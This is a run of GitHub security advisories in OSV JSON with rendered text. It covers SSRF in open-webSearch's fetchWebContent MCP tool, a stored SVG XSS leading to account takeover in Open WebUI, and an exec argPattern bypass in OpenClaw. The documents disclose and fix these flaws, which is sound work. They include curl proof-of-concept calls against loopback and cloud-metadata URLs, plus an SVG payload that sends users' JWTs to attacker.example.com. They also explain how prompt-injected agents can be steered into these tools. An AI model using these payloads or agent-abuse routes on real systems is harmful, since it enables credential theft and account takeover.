\u0027tolower($1)==\"mcp-session-id:\" { gsub(/\\r/,\"\"); print $2 }\u0027)\n\n# notifications/initialized\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 -H \"mcp-session-id: $SID\" \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \u003e/dev/null\n\n# call fetchWebContent with the SSRF bypass URL\ncurl -sS -X POST http://127.0.0.1:3000/mcp \\\n -H \"Accept: $ACCEPT\" -H \u0027Content-Type: application/json\u0027 -H \"mcp-session-id: $SID\" \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\n \"name\":\"fetchWebContent\",\n \"arguments\":{\"url\":\"http://[::ffff:7f00:1]:19999/internal\",\"maxChars\":10000}\n }}\u0027\n```\n\nExpected result: the canary logs `[canary] GET /internal from 127.0.0.1`, and the MCP response contains `INTERNAL-SECRET: canary-hit for /internal` in the tool\u0027s `content[0].text`.\n\nAdditional bypass vectors that work the same way:\n\n- `http://[::1]:\u003cport\u003e/` \u2014 plain IPv6 loopback.\n- `http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/` \u2014 AWS EC2 metadata over the IPv4 stack.\n- `http://attacker.example/` where `attacker.example` has A/AAAA pointing at any private address \u2014 bypasses via defect (2), no IPv6 trick needed.\n\n### Impact\n\n- **Cross-tenant SSRF with full response body.** Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours \u2014 all in scope.\n- **Pre-auth when `enableHttpServer` is set.** No authentication layer exists on `/mcp` or `/sse`; CORS is `*`.\n- **DNS-rebinding / LAN-victim angle.** Because `/mcp` is CORS `*` and accepts `POST`, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool\u0027s response can be exfiltrated back via a simple XHR.\n- **Exploitable over stdio too.** Even with HTTP disabled, a compromised or prompt-injected MCP client can call `fetchWebContent` against loopback on the host running the server \u2014 a realistic LLM-agent-abuse vector.\n\nNo meaningful mitigation in the call chain: only `http://` and `https://` schemes are accepted, but that is not a restriction for SSRF.\n\n### Suggested fix\n\nTwo changes, either of which individually closes most of the gap; both together close it fully.\n\n1. **Normalize the hostname before IP checks, and perform a DNS resolution.** Use the `ip-address` package or a similar canonicalizer, and reject any `getaddrinfo` result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling `isIP()`.\n\n ```ts\n import { lookup } from \u0027node:dns/promises\u0027;\n import { Address4, Address6 } from \u0027ip-address\u0027;\n\n function stripBrackets(h: string): string {\n return h.startsWith(\u0027[\u0027) \u0026\u0026 h.endsWith(\u0027]\u0027) ? h.slice(1, -1) : h;\n }\n\n const BLOCKED_V6_CIDRS = [\n \u0027::1/128\u0027, \u0027::/128\u0027,\n \u0027fc00::/7\u0027, \u0027fe80::/10\u0027,\n \u00272001:db8::/32\u0027, \u00272002::/16\u0027, \u002764:ff9b::/96\u0027,\n \u0027100::/64\u0027, \u0027ff00::/8\u0027,\n \u0027::ffff:0:0/96\u0027, // IPv4-mapped \u2014 delegate to v4 check\n ];\n\n function ipv6IsPrivate(addr6: Address6): boolean {\n const v4 = addr6.to4();\n if (v4 \u0026\u0026 v4.isValid()) return isPrivateIpv4(v4.address);\n return BLOCKED_V6_CIDRS.some(cidr =\u003e addr6.isInSubnet(new Address6(cidr)));\n }\n\n export async function assertPublicHttpUrl(url: URL | string, label = \u0027URL\u0027) {\n const parsed = typeof url === \u0027string\u0027 ? new URL(url) : url;\n if (parsed.protocol !== \u0027http:\u0027 \u0026\u0026 parsed.protocol !== \u0027https:\u0027) throw \u2026;\n const host = stripBrackets(parsed.hostname);\n\n // Literal IP case.\n const v = isIP(host);\n if (v === 4 \u0026\u0026 isPrivateIpv4(host)) throw \u2026;\n if (v === 6 \u0026\u0026 ipv6IsPrivate(new Address6(host))) throw \u2026;\n\n if (v === 0) {\n // Hostname \u2014 resolve and check every record.\n const records = await lookup(host, { all: true, verbatim: true });\n for (const r of records) {\n if (r.family === 4 \u0026\u0026 isPrivateIpv4(r.address)) throw \u2026;\n if (r.family === 6 \u0026\u0026 ipv6IsPrivate(new Address6(r.address))) throw \u2026;\n }\n }\n }\n ```\n\n2. **Dual-pin the connection.** Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and `axios.get`). Use a custom `undici` `Agent` whose `connect` hook validates the actual connected socket IP via `socket.remoteAddress`. That closes the rebinding window.\n\n3. **Gate the HTTP transport.** Require a bearer token (env var) on `/mcp` and `/sse`, and restrict binding to `127.0.0.1` by default. CORS `*` plus no-auth on `0.0.0.0` is the same exposure profile as an unauthenticated open proxy.\n\nTest vectors to add to the suite:\n\n```ts\nfor (const url of [\n \u0027http://[::1]/\u0027, \u0027http://[::]/\u0027,\n \u0027http://[::ffff:127.0.0.1]/\u0027, \u0027http://[::ffff:7f00:1]/\u0027,\n \u0027http://[0:0:0:0:0:ffff:127.0.0.1]/\u0027,\n \u0027http://[0:0:0:0:0:0:0:1]/\u0027, \u0027http://[::0:1]/\u0027, \u0027http://[0:0::1]/\u0027,\n \u0027http://[::ffff:a00:1]/\u0027, \u0027http://[::ffff:c0a8:1]/\u0027, \u0027http://[::ffff:a9fe:1]/\u0027,\n]) expect(isPublicHttpUrl(url)).toBe(false);",
"id": "GHSA-v228-72c7-fx8j",
"modified": "2026-05-13T16:24:33Z",
"published": "2026-05-05T20:51:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Aas-ee/open-webSearch/security/advisories/GHSA-v228-72c7-fx8j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42260"
},
{
"type": "PACKAGE",
"url": "https://github.com/Aas-ee/open-webSearch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`"
}
GHSA-V2QM-5WXJ-QHJ7
Vulnerability from github – Published: 2026-06-17 14:15 – Updated: 2026-06-17 14:15Stored XSS to Account Takeover via Model Profile Images in Open WebUI
Affected: Open WebUI <= 0.9.5 Bypass of: GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc
TL;DR
Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to model profile images. The ModelMeta class has no validate_profile_image_url field validator, and the model image serving endpoint has no MIME allowlist or nosniff header. Any authenticated user with workspace.models permission (enabled by default) can store a data:image/svg+xml;base64,... payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL.
Past of the issue
In early 2025, two security advisories landed for Open WebUI:
- GHSA-3wgj-c2hg-vm6q SVG XSS via user profile images
- GHSA-3856-3vxq-m6fc SVG XSS via webhook profile images
The patches were clean. A validate_profile_image_url function was introduced in backend/open_webui/utils/validate.py a compiled regex that restricts data: URIs to safe raster formats (image/png, image/jpeg, image/gif, image/webp), explicitly excluding image/svg+xml because SVG can carry embedded <script> tags. On the output side, users.py added a MIME allowlist check and X-Content-Type-Options: nosniff.
The fix was applied to UserUpdateForm, UpdateProfileForm, and later to ChannelWebhookForm. Three models patched. Case closed.
Except there was a fourth endpoint.
The Gap
Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in ModelMeta:
# backend/open_webui/models/models.py, line 37-47
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
description: Optional[str] = None
capabilities: Optional[dict] = None
model_config = ConfigDict(extra='allow')
No @field_validator. No import of validate_profile_image_url. ModelMeta accepts any string as profile_image_url including data:image/svg+xml;base64,....
The serving endpoint at GET /api/v1/models/model/profile/image has the same gap:
# backend/open_webui/routers/models.py, line 503-518
elif profile_image_url.startswith('data:image'):
header, base64_data = profile_image_url.split(',', 1)
image_data = base64.b64decode(base64_data)
image_buffer = io.BytesIO(image_data)
media_type = header.split(';')[0].lstrip('data:')
headers = {'Content-Disposition': 'inline'}
# ...
return StreamingResponse(
image_buffer,
media_type=media_type,
headers=headers,
)
No MIME allowlist. No nosniff. No CSP. The SVG is served inline with Content-Type: image/svg+xml on the application's origin.
Compare this with the patched user endpoint:
# backend/open_webui/routers/users.py, line 497-509
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # <-- ABSENT in models.py
return FileResponse(f'{STATIC_DIR}/user.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py
},
)
The fix exists. It just was never applied here.
Comparison Table
| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |
|---|---|---|---|---|
GET /users/{id}/profile/image |
YES | YES | YES | Patched |
GET /webhooks/{id}/profile/image |
YES | no | no | Partially patched |
GET /models/model/profile/image |
NO | NO | NO | Vulnerable |
Three Write Vectors
The malicious SVG data URI can be injected through any of three endpoints all pass ModelForm containing ModelMeta without validation:
POST /api/v1/models/create(line 195) any user withworkspace.modelspermissionPOST /api/v1/models/update(line 581) model owner or adminPOST /api/v1/models/import(line 279) admin only
The workspace.models permission is enabled by default for all non-pending users in a standard deployment.
The Attack
Step 1 Store the payload:
SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>' | base64 -w0)
curl -s -X POST 'https://TARGET/api/v1/models/create' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,$SVG\",
\"description\": \"Latest GPT-4 Turbo model\"
},
\"params\": {},
\"access_grants\": []
}"
Step 2 Victim navigates to the image URL:
https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview
This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message).
Step 3 Token theft:
The server responds:
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")
</script>
</svg>
No X-Content-Type-Options. No Content-Security-Policy. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded <script> executes. localStorage.getItem("token") returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.
PoC
#!/usr/bin/env bash
# PoC: Stored SVG XSS -> token theft via Open WebUI model profile image
# Affected: open-webui <= 0.9.5
TARGET="http://localhost:8080"
ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>"
COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener
# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---
read -r -d '' SVG <<EOF
<svg xmlns="http://www.w3.org/2000/svg">
<script>
new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token"));
</script>
</svg>
EOF
SVG_B64=$(printf '%s' "$SVG" | base64 -w0)
# --- Step 2: Store the payload in a model's profile_image_url ---
curl -s -X POST "${TARGET}/api/v1/models/create" \
-H "Authorization: Bearer ${ATTACKER_TOKEN}" \
-H "Content-Type: application/json" \
-d "{
\"id\": \"gpt-4-turbo-preview\",
\"name\": \"GPT-4 Turbo\",
\"base_model_id\": \"gpt-4\",
\"meta\": {
\"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\",
\"description\": \"Latest GPT-4 Turbo\"
},
\"params\": {},
\"access_grants\": []
}"
# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---
echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview"
Expected server response at Step 3 (the proof — SVG served inline, no defenses):
HTTP/1.1 200 OK
content-type: image/svg+xml
content-disposition: inline
<svg xmlns="http://www.w3.org/2000/svg">
<script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script>
</svg>
````
No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).
Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.
## Root Cause
An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.
## Recommended Fix
**Input side** add the validator to `ModelMeta`:
```python
# backend/open_webui/models/models.py
from open_webui.utils.validate import validate_profile_image_url
class ModelMeta(BaseModel):
profile_image_url: Optional[str] = '/static/favicon.png'
# ...
@field_validator('profile_image_url', mode='before')
@classmethod
def check_profile_image_url(cls, v):
if v is None:
return v
return validate_profile_image_url(v)
Output side add MIME check and nosniff to the serving endpoint:
# backend/open_webui/routers/models.py
media_type = header.split(';')[0].lstrip('data:').lower()
if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:
return FileResponse(f'{STATIC_DIR}/favicon.png')
return StreamingResponse(
image_buffer,
media_type=media_type,
headers={
'Content-Disposition': 'inline',
'X-Content-Type-Options': 'nosniff',
},
)
Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54013"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:15:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Stored XSS to Account Takeover via Model Profile Images in Open WebUI\n\n**Affected:** Open WebUI \u003c= 0.9.5\n**Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc\n\n---\n\n## TL;DR\n\nOpen WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model\u0027s profile image and achieve full account takeover of anyone who navigates to the image URL.\n\n---\n\n## Past of the issue\n\nIn early 2025, two security advisories landed for Open WebUI:\n\n- **GHSA-3wgj-c2hg-vm6q** SVG XSS via user profile images\n- **GHSA-3856-3vxq-m6fc** SVG XSS via webhook profile images\n\nThe patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py` a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `\u003cscript\u003e` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`.\n\nThe fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed.\n\nExcept there was a fourth endpoint.\n\n## The Gap\n\nOpen WebUI has a concept of \"Models\" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py, line 37-47\nclass ModelMeta(BaseModel):\n profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n description: Optional[str] = None\n capabilities: Optional[dict] = None\n model_config = ConfigDict(extra=\u0027allow\u0027)\n```\n\nNo `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`.\n\nThe serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap:\n\n```python\n# backend/open_webui/routers/models.py, line 503-518\nelif profile_image_url.startswith(\u0027data:image\u0027):\n header, base64_data = profile_image_url.split(\u0027,\u0027, 1)\n image_data = base64.b64decode(base64_data)\n image_buffer = io.BytesIO(image_data)\n media_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027)\n\n headers = {\u0027Content-Disposition\u0027: \u0027inline\u0027}\n # ...\n return StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers=headers,\n )\n```\n\nNo MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application\u0027s origin.\n\nCompare this with the **patched** user endpoint:\n\n```python\n# backend/open_webui/routers/users.py, line 497-509\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # \u003c-- ABSENT in models.py\n return FileResponse(f\u0027{STATIC_DIR}/user.png\u0027)\n\nreturn StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers={\n \u0027Content-Disposition\u0027: \u0027inline\u0027,\n \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027, # \u003c-- ABSENT in models.py\n },\n)\n```\n\nThe fix exists. It just was never applied here.\n\n## Comparison Table\n\n| Endpoint | Input Validation | MIME Allowlist | nosniff | Status |\n|----------|:---:|:---:|:---:|--------|\n| `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** |\n| `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched |\n| `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** |\n\n## Three Write Vectors\n\nThe malicious SVG data URI can be injected through any of three endpoints all pass `ModelForm` containing `ModelMeta` without validation:\n\n1. **`POST /api/v1/models/create`** (line 195) any user with `workspace.models` permission\n2. **`POST /api/v1/models/update`** (line 581) model owner or admin\n3. **`POST /api/v1/models/import`** (line 279) admin only\n\nThe `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment.\n\n## The Attack\n\n**Step 1 Store the payload:**\n\n```bash\nSVG=$(echo \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n \u003c/script\u003e\n\u003c/svg\u003e\u0027 | base64 -w0)\n\ncurl -s -X POST \u0027https://TARGET/api/v1/models/create\u0027 \\\n -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,$SVG\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo model\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n```\n\n**Step 2 Victim navigates to the image URL:**\n\n```\nhttps://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\n```\n\nThis happens naturally when a user right-clicks a model\u0027s avatar and selects \"Open Image in New Tab\", or when the attacker sends the URL directly (e.g., in a channel message).\n\n**Step 3 Token theft:**\n\nThe server responds:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\n \u003c/script\u003e\n\u003c/svg\u003e\n```\n\nNo `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `\u003cscript\u003e` executes. `localStorage.getItem(\"token\")` returns the victim\u0027s JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration.\n\n## PoC\n\n```bash\n#!/usr/bin/env bash\n# PoC: Stored SVG XSS -\u003e token theft via Open WebUI model profile image\n# Affected: open-webui \u003c= 0.9.5\n\nTARGET=\"http://localhost:8080\"\nATTACKER_TOKEN=\"\u003cattacker_JWT_from_localStorage.token\u003e\"\nCOLLECTOR=\"https://attacker.example.com/steal\" # attacker-controlled listener\n\n# --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) ---\nread -r -d \u0027\u0027 SVG \u003c\u003cEOF\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n new Image().src=\"${COLLECTOR}?t=\"+encodeURIComponent(localStorage.getItem(\"token\"));\n \u003c/script\u003e\n\u003c/svg\u003e\nEOF\nSVG_B64=$(printf \u0027%s\u0027 \"$SVG\" | base64 -w0)\n\n# --- Step 2: Store the payload in a model\u0027s profile_image_url ---\ncurl -s -X POST \"${TARGET}/api/v1/models/create\" \\\n -H \"Authorization: Bearer ${ATTACKER_TOKEN}\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"id\\\": \\\"gpt-4-turbo-preview\\\",\n \\\"name\\\": \\\"GPT-4 Turbo\\\",\n \\\"base_model_id\\\": \\\"gpt-4\\\",\n \\\"meta\\\": {\n \\\"profile_image_url\\\": \\\"data:image/svg+xml;base64,${SVG_B64}\\\",\n \\\"description\\\": \\\"Latest GPT-4 Turbo\\\"\n },\n \\\"params\\\": {},\n \\\"access_grants\\\": []\n }\"\n\n# --- Step 3: Trigger (victim navigates here, or attacker sends the link) ---\necho \"Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview\"\n```\n\nExpected server response at Step 3 (the proof \u2014 SVG served inline, no defenses):\n\n```\nHTTP/1.1 200 OK\ncontent-type: image/svg+xml\ncontent-disposition: inline\n\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003enew Image().src=\"https://attacker.example.com/steal?t=\"+localStorage.getItem(\"token\")\u003c/script\u003e\n\u003c/svg\u003e\n````\nNo X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the \u003cscript\u003e executes in the Open WebUI origin, and the victim\u0027s JWT lands in the attacker\u0027s collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion).\n\nTrigger note: because the frontend loads model avatars in `\u003cimg src=...\u003e` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document \u2014 e.g. right-click \u2192 \"Open image in new tab\", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed.\n\n## Root Cause\n\nAn incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`.\n\n## Recommended Fix\n\n**Input side** add the validator to `ModelMeta`:\n\n```python\n# backend/open_webui/models/models.py\nfrom open_webui.utils.validate import validate_profile_image_url\n\nclass ModelMeta(BaseModel):\n profile_image_url: Optional[str] = \u0027/static/favicon.png\u0027\n # ...\n\n @field_validator(\u0027profile_image_url\u0027, mode=\u0027before\u0027)\n @classmethod\n def check_profile_image_url(cls, v):\n if v is None:\n return v\n return validate_profile_image_url(v)\n```\n\n**Output side** add MIME check and nosniff to the serving endpoint:\n\n```python\n# backend/open_webui/routers/models.py\nmedia_type = header.split(\u0027;\u0027)[0].lstrip(\u0027data:\u0027).lower()\n\nif media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES:\n return FileResponse(f\u0027{STATIC_DIR}/favicon.png\u0027)\n\nreturn StreamingResponse(\n image_buffer,\n media_type=media_type,\n headers={\n \u0027Content-Disposition\u0027: \u0027inline\u0027,\n \u0027X-Content-Type-Options\u0027: \u0027nosniff\u0027,\n },\n)\n```\n\nBoth layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.",
"id": "GHSA-v2qm-5wxj-qhj7",
"modified": "2026-06-17T14:15:52Z",
"published": "2026-06-17T14:15:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-v2qm-5wxj-qhj7"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Stored XSS to Account Takeover via Model Profile Images "
}
GHSA-V2WW-5RH7-2H5V
Vulnerability from github – Published: 2026-06-18 20:33 – Updated: 2026-06-18 20:33Summary
OpenClaw's exec allowlist supported optional argPattern entries to restrict the arguments accepted for an allowlisted executable. In affected releases, Linux and macOS gateways skipped argPattern checks and treated a matching executable path as sufficient to satisfy the allowlist.
This meant an operator could configure an allowlist entry that appeared to permit only a narrow argv shape, but OpenClaw would allow other argv for the same executable without an approval prompt when tools.exec.security was set to allowlist.
This issue is limited to direct enforcement of configured argPattern values. OpenClaw's exec approvals remain best-effort guardrails and do not attempt to semantically model every interpreter, loader, package script, shell feature, or transitive file a command may use.
Affected configurations
This affects OpenClaw gateway deployments that meet all of these conditions:
- the gateway runs on Linux or macOS
- exec is configured with
tools.exec.security: "allowlist" - at least one exec allowlist entry uses
argPattern - the allowlisted executable accepts security-relevant arguments or flags
Path-only allowlist entries are not additionally affected by this issue, because those entries intentionally allow any arguments for the matched executable. Windows was not affected by this specific bug because the affected code path already applied argPattern checks on Windows.
Impact
If an untrusted or lower-trust sender can influence a tool-enabled agent to call exec, they may be able to run disallowed arguments for an executable that the operator intended to restrict with argPattern. Depending on the executable, those arguments can cause host-side file access, network access, or command execution that should have required an approval prompt.
The practical impact depends on the operator's allowlist and channel exposure. Examples of higher-risk allowlisted executables include tools with interpreter, loader, subprocess, network, or plugin flags such as git, python, node, bash, find, tar, and ssh.
This is not a bypass of all exec approval semantics. It is a bypass of the direct argPattern predicate that the operator configured and that the exec tool description advertised as enforced at runtime.
Patched Versions
The first stable patched version is 2026.5.12.
Mitigations
Upgrade to openclaw@2026.5.12 or later. Before upgrading, operators who use exec allowlist mode should review entries that combine an executable path with argPattern, especially for interpreter-like or subprocess-capable tools.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53853"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T20:33:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nOpenClaw\u0027s exec allowlist supported optional `argPattern` entries to restrict the arguments accepted for an allowlisted executable. In affected releases, Linux and macOS gateways skipped `argPattern` checks and treated a matching executable path as sufficient to satisfy the allowlist.\n\nThis meant an operator could configure an allowlist entry that appeared to permit only a narrow argv shape, but OpenClaw would allow other argv for the same executable without an approval prompt when `tools.exec.security` was set to `allowlist`.\n\nThis issue is limited to direct enforcement of configured `argPattern` values. OpenClaw\u0027s exec approvals remain best-effort guardrails and do not attempt to semantically model every interpreter, loader, package script, shell feature, or transitive file a command may use.\n\n### Affected configurations\n\nThis affects OpenClaw gateway deployments that meet all of these conditions:\n\n- the gateway runs on Linux or macOS\n- exec is configured with `tools.exec.security: \"allowlist\"`\n- at least one exec allowlist entry uses `argPattern`\n- the allowlisted executable accepts security-relevant arguments or flags\n\nPath-only allowlist entries are not additionally affected by this issue, because those entries intentionally allow any arguments for the matched executable. Windows was not affected by this specific bug because the affected code path already applied `argPattern` checks on Windows.\n\n### Impact\n\nIf an untrusted or lower-trust sender can influence a tool-enabled agent to call exec, they may be able to run disallowed arguments for an executable that the operator intended to restrict with `argPattern`. Depending on the executable, those arguments can cause host-side file access, network access, or command execution that should have required an approval prompt.\n\nThe practical impact depends on the operator\u0027s allowlist and channel exposure. Examples of higher-risk allowlisted executables include tools with interpreter, loader, subprocess, network, or plugin flags such as `git`, `python`, `node`, `bash`, `find`, `tar`, and `ssh`.\n\nThis is not a bypass of all exec approval semantics. It is a bypass of the direct `argPattern` predicate that the operator configured and that the exec tool description advertised as enforced at runtime.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.12`.\n\n### Mitigations\n\nUpgrade to `openclaw@2026.5.12` or later. Before upgrading, operators who use exec allowlist mode should review entries that combine an executable path with `argPattern`, especially for interpreter-like or subprocess-capable tools.",
"id": "GHSA-v2ww-5rh7-2h5v",
"modified": "2026-06-18T20:33:22Z",
"published": "2026-06-18T20:33:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-v2ww-5rh7-2h5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53853"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-argument-pattern-bypass-in-exec-allowlist-via-linux-and-macos"
}
],
"schema_version": "1.4.0",
"severity": [
{
